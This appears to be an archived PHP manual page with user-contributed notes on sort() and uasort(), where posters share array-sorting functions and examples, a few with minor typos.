            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
Emiliyan at ServicesBG dot Com 28-Mar-2006 07:41
#This is a function that will sort an array...
function sort_by($array,  $keyname = null, $sortby) {
   $myarray = $inarray = array();
   # First store the keyvalues in a seperate array
    foreach ($array as $i => $befree) {
        $myarray[$i] = $array[$i][$keyname];
    }
   # Sort the new array by
    switch ($sortby) {
    case 'asc':
    # Sort an array and maintain index association...
    asort($myarray);
    break;
    case 'arsort':
    # Sort an array in reverse order and maintain index association
    arsort($myarray);
    break;
    case 'natcasesor':
    # Sort an array using a case insensitive "natural order" algorithm
    natcasesort($myarray);
    break;
    }
    # Rebuild the old array
    foreach ( $myarray as $key=> $befree) {
       $inarray[$key] = $array[$key];
    }
    return $inarray;
}
sort_by(); example...
$info = sort_by($myarray, 'name', $use = 'asc');
print_r($info);
ludvig dot ericson at gmail dot com 25-Feb-2006 09:48
A tip for those who like "raul at jimi dot com dot mx" need to preserve keys after changing stuff in the middle of an array:
array_values.

Example:
<?php
$array = array(1, 2, 5, 9, 3);
unset($array[3]); // Remove index 3, which is 9.
$array = array_values($array);
?>

Hint: array_values can be fine for removing keys and reindex them by number instead, too (applies to functions like posix_pwgetuid which returns an associative array, unlike C and others, call array_values on it, and it'll be the same format IIRC.)
jesper at snt dot utwente dot nl 24-Feb-2006 01:26
If you sort an array of objects, the first variable in the object will be used for sorting:

<?php
class foo
{
  var $value; //First variable: Used for sorting
  var $id;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i < 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on value
sort($bar);
print_r($bar);
?>

Compare the piece of code above with the following:

<?php
class foo
{
  var $id; //First variable: Used for sorting
  var $value;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i = 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on id
sort($bar);
print_r($bar);
?>

As you can see the location of declaration of the variables matter!
If you want to sort on both or on a combination of variables, use ksort()
jerome a-t+ yamafoto d*o*t com 22-Feb-2006 09:39
when sorting an array, beware of variable type from elements you put in this array

Example:

$a = 2; // $a is an integer
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = 'item';
$arr[1] = 2;

$a = '2'; // $a is a string
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = '2';
$arr[1] = 'item'

to avoid this problem use:

sort($arr, SORT_STRING)
nm at thenoodleman dot com 30-Jan-2006 05:18
Faster, more effective function:

array_sort (array, ['asc'/'desc'])

Second parameter specifies whether to order ascending or descending. Default is ascending.

function array_sort($array, $type='asc'){
    $result=array();
    foreach($array as $var => $val){
        $set=false;
        foreach($result as $var2 => $val2){
            if($set==false){
                if($val>$val2 && $type=='desc' || $val<$val2 && $type=='asc'){
                    $temp=array();
                    foreach($result as $var3 => $val3){
                        if($var3==$var2) $set=true;
                        if($set){
                            $temp[$var3]=$val3;
                            unset($result[$var3]);
                        }
                    }
                    $result[$var]=$val;
                    foreach($temp as $var3 => $val3){
                        $result[$var3]=$val3;
                    }
                }
            }
        }
        if(!$set){
            $result[$var]=$val;
        }
    }
    return $result;
}

Works for ordering by integers or strings, no need to specify which.

Example:

$array=array('a' => 50, 'b' => 25, 'c' => 75);
print_r(array_sort($array));

Returns:
Array
(
[b] => 25
[a] => 50
[c] => 75
)
james at miicro dot net 24-Jan-2006 10:26
Further to john dot dutcher at highmark dot com's comments - padding the name could cause a problem if you get abnormally long names, it might be better to rebuild the array thus:

Array (
[0] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
[1] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[2] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[3] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
)

which should give:

Array (
[0] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[1] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
[2] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[3] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
)
john dot dutcher at highmark dot com 11-Jan-2006 04:58
Regarding the array sorting of names by 'whatever' ....

That post addresses a nearly identical issue with sorting that I also have.

I just wanted to inquire though.........wouldn't the building of the 'sortname'  value require that the last name and first name be padded to their full size as they are placed into the
'sortname' field in order to get proper sorting/alignment ?

Otherwise would one have .......

    dutcherjohnf                   (Dutcher, John F)
    dutchrogera                   (Dutch, Roger A)
    dutmauriceh                   (Dut, Maurice H)

Instead of:

    dut           maurice         h
    dutch         roger          a
    dutcher      john            f

John D.
raul at jimi dot com dot mx 01-Dec-2005 09:50
I had an array like this:
$arr=array (1,4,3,6,5);

which returns this:
$arr[0]=1
$arr[1]=4
$arr[2]=3
$arr[3]=6
$arr[4]=5

But lets say i remove [2] which is number 3, i get:

$arr[0]=1
$arr[1]=4
$arr[3]=6
$arr[4]=5

And i want to reindex without doing a sort because i dont want to lose the order of the numbers (like a pop in a stack but in the middle of the list), i do this:

$arr=array_chunk($arr,count($arr));
$arr=$arr[0];

the result is:

$arr[0]=1
$arr[1]=4
$arr[2]=6
$arr[3]=5

This can be applied mostly for tree sorting, when you only have the id and the parent values of the node, and you want to have N levels.
phillip dot metzger at gmail dot com 09-Nov-2005 09:36
For a case insensitive sort use this array_multisort().

<?php
$array_var = Array("Cheery", "zap", "Banana", "apple", "Zing");

array_multisort((strtolower($array_var)), SORT_ASC, SORT_STRING, $array_var);
?>

Result order:
apple
Banana
Cheery
zap
Zing
james at miicro dot net 19-Jul-2005 02:49
It's useful to know that if you're using this function on a multidimensional array, php will sort the first key, then the second and so on. This is similar to being able to use SQL to order by field1, field2 etc.

So:

Array (
[0] => Array ( [category] => work [name] => Smith )
[1] => Array ( [category] => play [name] => Johnson )
[2] => Array ( [category] => work [name] => Berger )
)

will become:

Array (
[0] => Array ( [category] => play [name] => Johnson )
[1] => Array ( [category] => work [name] => Berger )
[2] => Array ( [category] => work [name] => Smith )
)

Hope it helps someone.
whatever at toposphere dot com 02-Jul-2005 01:12
The usort solution below still has problems when sorting strings of different lengths, just like the other flavors of sort that I've tried.

Here's a solution that I came up with -- it's kinda ugly, and it might not be practical for large arrays, but it's works great for me.

I'm getting some people's names out of mySQL and placing them in an array like this: "$lastname, $firstname $middlename". Because some people don't have middle names, "sort" screws up the alphabetization. So what I've done is this:

$index = 0;
while ($rows = mysql_fetch_array($sqlResult)) {
    extract($rows);
    $my_array[$index]['sortname'] = strtolower(preg_replace("/[^a-zA-Z]/", "", "$lastname$firstname$middlename"));
    $my_array[$index]['name'] = trim("$lastname, $firstname $middlename");
    $index++;
}
sort($my_array); // now in perfect alpha order

My "hack" is in the fourth line -- I take the entire name, last name first, and use preg_replace() to take out all non-letter characters, and then used strtolower() to make it all lowercase to ensure all letters would be treated equally by PHP. This goes into the ['sortname'] key within the array.

(The ['sortname'] value has to come before ['name'], or else the array will be sorted by ['name'] instead.)

This gives me:

Array
(
   [0] => Array ( [sortname] => shmojoe [name] => Shmo, Joe )
   [1] => Array ( [sortname] => shmojoem [name] => Shmo, Joe M )
)
... and so on

So the array gets sorted by ['sortname'], which never needs to be displayed, and the associated ['name'] can be displayed in perfect alphabetical order, whether there is one name, two names or three. And because ['sortname'] is letters only, it works great for hyphenated last names or ones with apostrophes, like Smith-Jones or O'Donnell.

I feel that the dual preg_replace() and strtolower() may not be the best theoretical solution, and I don't know how it would run on a really large array, but as I said, it's a great solution for my little site.
dwatson at planandgrow dot com 18-Mar-2005 05:55
Here is a recursive use of sort for multi-dim arrays:

<?php

/*Mulsort function recursively sorts a  multi-dimensional, numeric array in place,
regardless of how many dimensions it has.  The array can be ragged -- not a matrix.
*/

function mulsort(&$a)
{
    sort($a);
    $c = count($a);
    for($i = 0; $i < $c; $i++)
        if (is_array($a[$i]))
            mulsort($a[$i]);
}

//The following array is just used to demo the mulsort function.
$array_demo = array ( array ( array (333,1,9,8,7,6,5), array (array(1, 'x', 22), 99, 88 ), -10 ),
        array ( array (11, 12, 'a', 'b', 'c'), array (8, 1, 2,-5) ) );

echo "Array before sorting:<br /><pre>";
var_dump($array_demo);
echo "</pre></ br></ br>";

mulsort($array_demo);

echo "Array after sorting:<br /><pre>";
var_dump($array_demo);
echo "</pre>";

?>
timc at hlyw dot com 17-Feb-2005 04:04
I dig the multi_sort function(s) from above.  But, they don't work for hash arrays.  I added a keys variable to keep track of the key value as the array gets sorted.  Feed back welcome.

<?php
function array_qsort (&$array, $column=0, $order=SORT_ASC, $first=0, $last= -2)
{
  // $array  - the array to be sorted
  // $column - index (column) on which to sort
  //          can be a string if using an associative array
  // $order  - SORT_ASC (default) for ascending or SORT_DESC for descending
  // $first  - start index (row) for partial array sort
  // $last  - stop  index (row) for partial array sort
  // $keys  - array of key values for hash array sort

  $keys = array_keys($array);
  if($last == -2) $last = count($array) - 1;
  if($last > $first) {
   $alpha = $first;
   $omega = $last;
   $key_alpha = $keys[$alpha];
   $key_omega = $keys[$omega];
   $guess = $array[$key_alpha][$column];
   while($omega >= $alpha) {
     if($order == SORT_ASC) {
       while($array[$key_alpha][$column] < $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] > $guess) {$omega--; $key_omega = $keys[$omega]; }
     } else {
       while($array[$key_alpha][$column] > $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] < $guess) {$omega--; $key_omega = $keys[$omega]; }
     }
     if($alpha > $omega) break;
     $temporary = $array[$key_alpha];
     $array[$key_alpha] = $array[$key_omega]; $alpha++;
     $key_alpha = $keys[$alpha];
     $array[$key_omega] = $temporary; $omega--;
     $key_omega = $keys[$omega];
   }
   array_qsort ($array, $column, $order, $first, $omega);
   array_qsort ($array, $column, $order, $alpha, $last);
  }
}
?>
anthony at ectrolinux dot com 08-Sep-2004 04:39
In a brief addition to the previous poster's message, the ascending sorting order used by PHP directly corresponds to ISO-8859-1 (ASCII). Therefore the character \48 (numeral 0) would be placed before the character \82 (R), which would be placed before the character \110 (n), and so forth.
teunkloosterman at hotmail dot com 30-Aug-2004 01:14
Just to show how it sorts:

<?php
$array = Array("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", " ", "!", "@", "#", "\\\$", "%", "^", "&", "*", "(", ")", "_", "-", "=", "+", "\\\\", "|", ",", "<", ".", ">", "?", "'", "\\\"", "`", "~");
sort($array);
echo implode("", $array);
?>

returns:

 !"#$%&'()*+,-.0123456789<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ
\^_`abcdefghijklmnopqrstuvwxyz|~

note: the result begins with a space
Gerhard Conradi 10-Mar-2004 12:49
Hi @all,

to my previous author: thanks, thanks, thanks! Works great and saved me lot of time. I added an extension for ascending/descending order. Here are the changes:

// first i defined two constants for asc and desc
// you can skip that, but then you have to change the switch command at the end of the function
define("ORDER_ASC", "asc");
define("ORDER_DESC", "desc");

function mu_sort($array, $key_sort, $asc_desc) { // start function

// check input parameters
if (func_num_args()<2 || func_num_args()>3) die("Wrong number of parameters for the call of mu_sort()");

   $array = func_get_arg(0);
   $key_sort = func_get_arg(1);
   if (func_num_args()==3)
      $asc_desc = func_get_arg(2);
   else
      $asc_desc = ORDER_ASC;

   $key_sorta = explode(",", $key_sort);
   .... // from here it's exactly the same

   ... // until here
      } // end loop #2
   } // end loop #1

   // sort
   // if you don't want to use the constants defined at the top, change here to whatever you're using
   switch($asc_desc) {
      case ORDER_DESC:
         rsort($output); break;
      default:
         sort($output);
   }

   // return sorted array
   return $output;
} // end function

Now you can call the function like this:
mu_sort($array, $key_sort, ORDER_DESC);
or even:
mu_sort($array, $key_sort); // This will sort the array by default ascending

Have fun...
matias at arenasoftware dot com 23-Mar-2003 05:36
Lets say you have the following array:
$array1 = Array(third => "Some text 3", second => "Some text 2", first => "Some text 1", fourth => "Some text 4" );
and you want to sort it by first,second,third, fourth.
Very easy! Just create a second array:
$array2 = Array(first => "", second => "", third => "", fourth => "");
and do:
$result = array_merge($array2,$array1);

now $result = Array(first => "Some text 1",second => "Some text 2",third => "Some text 3",fourth => "Some text 4");

This is very usefull when you want to print data out of a database table for example, but you would like to give it a custom order.
arjan321 at hotmail dot com 31-Jan-2003 12:23
Ik you want to sort case insensitive, use the natcasesort()
shailu_agrawal at yahoo dot no_spam dot com 13-Nov-2002 06:05
if 2nd parameter is "SORT_REGULAR" it will compare characters by ASCII values.
For ex: if unsorted values are:  B , a , A
with SORT_REGULAR sorted result will be: A , B , a
and with SORT_STRING sorted result will be: a , A , B
whit at transpect dot com 25-Oct-2002 02:06
fmmarzoa's qsort_multiarray gets the last record with the removal of a "-1" from the 3rd line of the function definition. Here's a routine using it that takes a tab-delimited table with the column names in the first row, and displays it from an arbitrary column on the left to the last on the right with option to sort by any one column:

<?php
//tab-delimited ASCII file to sort - no more than one linefeed at end
$infile="members.txt";
//first column on left to display - count from 0
$firstcol="1";

function qsort_multiarray($array, $num = 0, $order = "ASC", $left = 0, $right = -1) {
        if($right == -1) {
                $right = count($array);
        }
        $links = $left;
        $rechts = $right;
        $mitte = $array[($left + $right) / 2][$num];
        if($rechts > $links) {
                do {
                        if($order == "ASC") {
                                while($array[$links][$num]<$mitte) $links++;
                                while($array[$rechts][$num]>$mitte) $rechts--;
                        } else {
                                while($array[$links][$num]>$mitte) $links++;
                                while($array[$rechts][$num]<$mitte) $rechts--;
                        }
                        if($links <= $rechts) {
                                $tmp = $array[$links];
                                $array[$links++] = $array[$rechts];
                                $array[$rechts--] = $tmp;
                        }
                } while($links <= $rechts);
                if ($left < $rechts) $array = qsort_multiarray($array,$num,$order,$left, $rechts);
                if ($links < $right) $array = qsort_multiarray($array,$num,$order,$links,$right);
        }
        return $array;
}

$mem=file("$infile");
$line=explode("\t","$mem[0]");
$cnt=count($line);
echo "<html><head><title>$infile</title></head><body>";
echo "<table border=\"1\"><tr>";
for ($i=$firstcol;$i<$cnt;$i++) {
        echo "<td><a href=\"$PHP_SELF?col=$i\">$line[$i]</a></td>";
}
echo "</tr>";
$cnt=count($mem);
for ($i=$firstcol;$i<$cnt;$i++) {
        $line=explode("\t","$mem[$i]");
        $cnt2=count($line);
        for ($j=$firstcol;$j<$cnt2;$j++) {
                $mem2[$i][$j]=$line[$j];
        }
}
if(!isset($col)) $col=$firstcol;
$mem2=qsort_multiarray($mem2,$col);
for ($i=0;$i<$cnt;$i++) {
        echo "<tr>";
        for ($j=$firstcol;$j<$cnt2;$j++) {
                $show=$mem2[$i][$j];
                echo "<td>$show</td>";
        }
        echo "</tr>";
}
echo "</table></body></html>";
?>
14-Mar-2002 02:09
If you want to sort an array according to your locale do the following:
(de_DE as example)

setlocale("LC_ALL","de_DE");
usort($arraytobesorted, 'strcoll');

--ed: In PHP 4.4 and PHP 5.0 you can do:
setlocale("LC_ALL", "de_DE");
sort($arraytobesorted, SORT_LOCALE_STRNG);
RunMaster at gmx dot de 29-Aug-2001 10:11
Note that sort() is void, so an assignment like

$foo_array = sort( $foo_array );

wont work. In result you cannot combine sort() for use with other array-related functions just like array_unique() or array_values(). None of the following statements works:

sort( array_unique( $foo_array ) );
// returns empty string

$foo_array = array_unique( sort( $foo_array) );
// returns parameter failure

The only way to combine those functions is to apply sort() in a single line statement.

So please dont waste your time with hours of debugging like me before I found out, its void... ;-)
phpdotnetNO_SPAM at electronic-strategy dot com 05-Jul-2001 09:34
/*
Small function to Alphabetically sort Multidimensional arrays by index values of an n dimension array.

I have only tested this for sorting an array of up to 6 dimensions by a value within the second dimension. This code is very rough and works for my purposes, but has not been tested beyond my needs.

Although a little clunky and not a mathematical type algorithm, it get's the job done. It theoretically overcomes many of the problems I have seen with multidimensional arrays in that it is possible to specify within the function, not by reference :-(, which index you wish to sort by, no matter how many dimensions down.

call function by assigning it to a new / existing array:

$row_array = multidimsort($row_array);
*/

function multidimsort($array_in) {
     $multiarray = array();
    $array_out = array();
    $loopvalue = 0;

    /* -1 as traversal of array starts from 0, count() starts from 1 */
    $multicount = count($array_in) - 1;

    /* add the indexes you wish to sort array by to a new array in this case index is two levels down, but shouldn't make a difference if it goes further indexes down. (Not tested!) */
    for($i = 0; $i <= $multicount; $i++) {
        array_push($multiarray, $array_in[$i][2]);
        //array_push($multiarray, $array_in[$i][2][4]);
        //array_push($multiarray, $array_in[$i][1][3][7]);
    }

    /* alphabetically sort the new array (Ascending in this case) can chage sort to whatever type you like. Even apply user-defined sort. */
    asort($multiarray);

    /* reset internal pointer to beginning of array after above sort */
    reset($multiarray);

    /* traverse new array of index values and add the corresponding element of the input array to the correct position in the output array */
    while (list ($key, $val) = each ($multiarray)) {

        $array_out[$loopvalue] = $array_in[$key];

        $loopvalue++;
    }

    /* return the output array which is all nicely sorted by the index you wanted! */
    return $array_out;
}
Richard dot C dot Mitchell at Boeing dot com 23-Apr-2001 09:59
The usort function can be used to sort multi-dimension arrays, also.

To do a case-insensitive sort on the 7th column of a two-dimensional array:
usort($listing, create_function('$a,$b','return strcasecmp($a[7],$b[7]);'));

When using associative arrays:
usort($listing, create_function('$a,$b','return strcasecmp($a["name"],$b["name"]);'));

Case-sensitive, descending (just change '$a,$b' to '$b,$a'):
usort($listing, create_function('$b,$a','return strcmp($a["name"],$b["name"]);'));

A two-dimensional array of numbers (7th column, ascending):
usort($listing, create_function('$a,$b','return $a[7]==$b[7]?0:($a[7]<$b[7]?-1:1);'));
peek at mailandnews dot com 07-Apr-2001 04:06
I ran into the same problem with case insensitive sorting. Actually I think there should be a SORT_STRING_CASE flag but I tried the following:

usort($listing, 'strcasecmp');

This didn't work (why not?), but you can do a proper case insensitive sort like this:

usort($listing, create_function('$a,$b','return strcasecmp($a,$b);'));
ultrafunkula at mad dot scientist dot com 30-Mar-2000 10:08
What you really want is asort(). The neat thing about PHP arrays is that even though they have a traditional numerical index, they are not defined by it. What I mean by this is if you define an array $data[], then $data[2] does not necessarily exist between $data[1] and $data[3].
So if you asort() by the artist name and then use each() to recover the array elements in the order they exist(rather than an incremental loop which ties you to their arbitrary numerical key), you can sort your data by any dimension of your array. Try this out:
$data[0][1]='Title 2';
$data[0][2]='Title 1';
$data[0][0]='Title 3';
$data[1][1]='Barney';
$data[1][0]='Charlie';
$data[1][2]='Al';
$data[2][2]='Sing the song of Al';
$data[2][1]='Jam with Barney';
$data[2][0]='Charlie Rocks';

while (list($key) = each($data[1])) {
print $data[0][$key].",".$data[1][$key].",".$data[2][$key]."<p>";
}

asort($data[1]);

while (list($key) = each($data[1])) {
print $data[0][$key].",".$data[1][$key].",".$data[2][$key]."<p>";
}

The interesting part is that the first, UNSORTED array doesn't come out in numerical order, because it wasn't put in that way.  If you asort($data[2]) you'll sort by lyrics, and so on. Just make sure you remember to each() by the same dimension as you asort().
misillet at tin dot it 17-Mar-2000 10:58
Note that using sort() it seems to sort by ASCII code, because "AC" is before "Ab" in the result array
sizeof
uasort
Array Functions


Sort an array with a user-defined comparison function and maintain index association

sort
uksort
Array Functions
PHP Manual

uasort

(PHP 4, PHP 5)

uasort — Sort an array with a user-defined comparison function and maintain index association

Description

bool uasort ( array &$array , callback $cmp_function )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with, using a user-defined comparison function.

This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

array

The input array.

cmp_function

See usort() and uksort() for examples of user-defined comparison functions.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Basic uasort() example

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?>

The above example will output:

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

See Also

  • usort() - Sort an array by values using a user-defined comparison function
  • The comparison of array sorting functions

User Contributed Notes

Said Dashuk 11-Oct-2011 10:33
My simple and effective solution for sort multi-dimensional array by any key:

<?php
function sort_by_key ($arr,$key) {
    global $key2sort;
    $key2sort = $key;
    uasort($arr, 'sbk');
    return ($arr);
}
function sbk ($a, $b) {global $key2sort; return (strcasecmp ($a[$key2sort],$b[$key2sort]));}
?>
clem at fragment dot at 31-Aug-2011 04:57
for a simple case insensitive compare you can use this (php >= 5.3):

<?php
$greetings = array('howdy', 'Hey', 'aloha he');

uasort($a, function($a, $b){ return strcasecmp($a, $b); });

//$a == array('aloha he', 'howdy', 'Hey');
?>
englishman at bigmir dot net 02-Jul-2011 04:44
In case you need to sort an associative array by one of its keys, this function might be useful:

<?php
function sortByOneKey(array $array, $key, $asc = true) {
    $result = array();

    $values = array();
    foreach ($array as $id => $value) {
        $values[$id] = isset($value[$key]) ? $value[$key] : '';
    }

    if ($asc) {
        asort($values);
    }
    else {
        arsort($values);
    }

    foreach ($values as $key => $value) {
        $result[$key] = $array[$key];
    }

    return $result;
}

?>

Consider the following example:

<?php

$users = array(
    1 => array('name' => 'John', 'age' => 35),
    2 => array('name' => 'Alice', 'age' => 23),
    3 => array('name' => 'Bob', 'age' => 26)
);

$sortedByNameAsc = sortByOneKey($users, 'name');
$sortedByNameDesc = sortByOneKey($users, 'name', false);

echo "Sorted by Name in ascending order: ";
echo "<pre>" . print_r($sortedByNameAsc, true) . "</pre>";
echo "<br /><br />Sorted by Name in descending order: ";
echo "<pre>" . print_r($sortedByNameDesc, true) . "</pre>";

?>

The output will be the following:

Sorted by Name in ascending order:
Array
(
    [2] => Array
        (
            [name] => Alice
            [age] => 23
        )

    [3] => Array
        (
            [name] => Bob
            [age] => 26
        )

    [1] => Array
        (
            [name] => John
            [age] => 35
        )

)

Sorted by Name in descending order:
Array
(
    [1] => Array
        (
            [name] => John
            [age] => 35
        )

    [3] => Array
        (
            [name] => Bob
            [age] => 26
        )

    [2] => Array
        (
            [name] => Alice
            [age] => 23
        )

)
yannick dot battail at gmail dot com 17-Nov-2010 06:37
An Example using anonymous function.
Anonymous functions make some time the code easier to understand.
<?php
$fruits = array('Orange9','Orange11','Orange10','Orange6','Orange15');
uasort ( $fruits , function ($a, $b) {
            return strnatcmp($a,$b); // or other function/code
        }
    );
print_r($fruits);
?>
returns
Array
(
    [3] => Orange6
    [0] => Orange9
    [2] => Orange10
    [1] => Orange11
    [4] => Orange15
)
magikMaker 19-Oct-2010 02:48
a quick reminder on the syntax if you want to use uasort in a Class or Object:

<?php

// procedural:
uasort($collection, 'my_sort_function');

// Object Oriented
uasort($collection, array($this, 'mySortMethod'));

// Objet Oriented with static method
uasort($collection, array('self', 'myStaticSortMethod'));

?>
Yves 08-Oct-2010 12:20
Took me some time to figure that out:
the user function must return an *integer*, if you return a float, you may not get the expected result.

<?php
  $a = ('a' => 0.9, 'b' => 0.7, 'c' => 0.8);

  function sorting($a, $b) { return $a - $b; }

  // The function above will not =work, you have to

  function sorting($a, $b)
  {
   $d = $a = $b;
    return $d < 0 ? -1 : ($d > 0 ? 1 : 0);
  }
?>
phire_sk 05-Oct-2010 02:19
I tried using some of the previous built multisorts, but they weren't working as expected.

So, I made my own Class, and it seems to work wonderfully.

Here is the code:

<?php
/************************************
*    Allows sorting multi-dimensional
*    arrays by a specific key and in
*    asc or desc order
**/
class multiSort
{
    var $key;    //key in your array

    //runs the sort, and returns sorted array
    function run ($myarray, $key_to_sort, $type_of_sort = '')
    {
        $this->key = $key_to_sort;

        if ($type_of_sort == 'desc')
            uasort($myarray, array($this, 'myreverse_compare'));
        else
            uasort($myarray, array($this, 'mycompare'));

        return $myarray;
    }

    //for ascending order
    function mycompare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] < $y[$this->key] )
            return -1;
        else
            return 1;
    }

    //for descending order
    function myreverse_compare($x, $y)
    {
        if ( $x[$this->key] == $y[$this->key] )
            return 0;
        else if ( $x[$this->key] > $y[$this->key] )
            return -1;
        else
            return 1;
    }
}
?>
stephan dot hoyer at netresearch dot de 22-Jul-2010 05:17
To sort string containing Umlauts you can use this callback function:

<?php
    function sortWUmlauts($s1, $s2)
    {
        $search = array('Ä','Ö','Ü','ß');
        $replace = array('A','O','U','s');
        return strcmp(
           str_ireplace($search, $replace, $s1),
           str_ireplace($search, $replace, $s2)
           );
    }
?>

simply call:

<?php uasort($array, 'sortWUmlauts'); ?>
paul at webtop-designs dot com 30-Nov-2009 01:40
Just expanding on php arobase kochira period com's method:

If you are looking to sort a multi-D array by a specific column and have entries in both upper and lower case, simply drop the entries to lowercase before doing the strcmp.

<?php
$dirs = array(
  array('name' => 'First Folder', 'path' => 'sompath'),
  array('name' => 'second folder', 'path' => 'sompath2'),
  array('name' => 'Third Folder', 'path' => 'sompath3')
);

function so($a, $b) {
    return (strcmp (strtolower($a['name']), strtolower($b['name'])));
}
?>
Alt_F4 09-Oct-2009 08:34
I couldn't work out a way to specify what element to sort by using the existing php functions - maybe I didn't look hard enough?? So i wrote my own multidimensional array sorting class.

<?php

$stock = array(array("id" => 1,"item" => "hat",
                 "number" => 5,    "price" => 15),
                array("id" => 5,"item" => "shoes",
                 "number" => 1,    "price" => 50),
                array("id" => 3,"item" => "tie",
                 "number" => 2,    "price" => 30));

$sort = new multiSort();

//will sort the array by id in ascending order
print_r ($sort->sortArray($stock,'id','rcmp'));

//will sort the array by id in descending order
print_r ($sort->sortArray($stock,'id','cmp'));

//can also be used like so (specifying the index of the array)
print_r ($sort->sortArray($stock,'0','rcmp'));

//////////////////////////////////////////////////////

class multiSort {

    function sortArray($array,$parameter,$_function) { return $this->_uasort($array,$_function,$parameter); }

    function cmp ($a, $b, $p) { return (strcmp ($a[$p],$b[$p]));}

    function rcmp ($a, $b, $p) { return -1 * (strcmp ($a[$p],$b[$p]));}

    function _uasort($array,$func,$param) {
        for($i=0;$i<sizeof($array);$i++) {
            $tmp = $i;
            for($j=1;$j<sizeof($array);$j++) {
                $result = $this->$func($array[$tmp],$array[$j],$param);
                if($result == -1) {
                    $array = $this->arraySwap($array,$tmp,$j);
                    $tmp = $j;
                }
            }
        }
        return $array;
    }

    function arrayswap($arr, $src, $dst) {
        $tmp = $arr[$dst];
        $arr[$dst] = $arr[$src];
        $arr[$src] = $tmp;
        return $arr;
    }
}
//////////////////////////////////////////////////////////
?>

hope someone finds this useful.
php arobase kochira period com 08-Jun-2008 04:13
Difference between uasort() and usort(), the missing example ...

<?php
  $arr = array ( 10 => array('id' => 'dix',  'aa' => '1010'),
                100 => array('id' => 'cent', 'aa' => '100100'),
                  2 => array('id' => 'deux', 'aa' => '22'),
                  7 => array('id' => 'sept', 'aa' => '77'));

  // id sorting
  function so ($a, $b) { return (strcmp ($a['id'],$b['id']));    }
?>

*** uasort($arr, 'so') output:

<?php Array (
    [100] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [2] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [10] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [7] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>

*** usort($arr, 'so') output:

<?php Array (
    [0] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [1] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [2] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [3] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>
joeseed86 at gmail dot com 04-Jan-2007 09:54
Using uasort to alphabetically sort nested objects:

In this example, a "collection" object contains an array of "dataItem" objects which consist of a string name, a string attribute x and an arbitrary integer y.

This code allows you to sort the dataset by any of the dataItem attributes, or the order in which they were originally added to the set.

I'm using PHP 4.23 at work at the moment for legacy reasons, so I wrote the example following that object model.

<?php
class dataItem
{
    var $name;
    var $x;

    //Constructor
    function dataItem($name,$x,$y)
    {
        $this->name = $name;
        $this->x = $x;
        $this->y = $y;
    }
}

class collection
{
    var $dataSet = array();

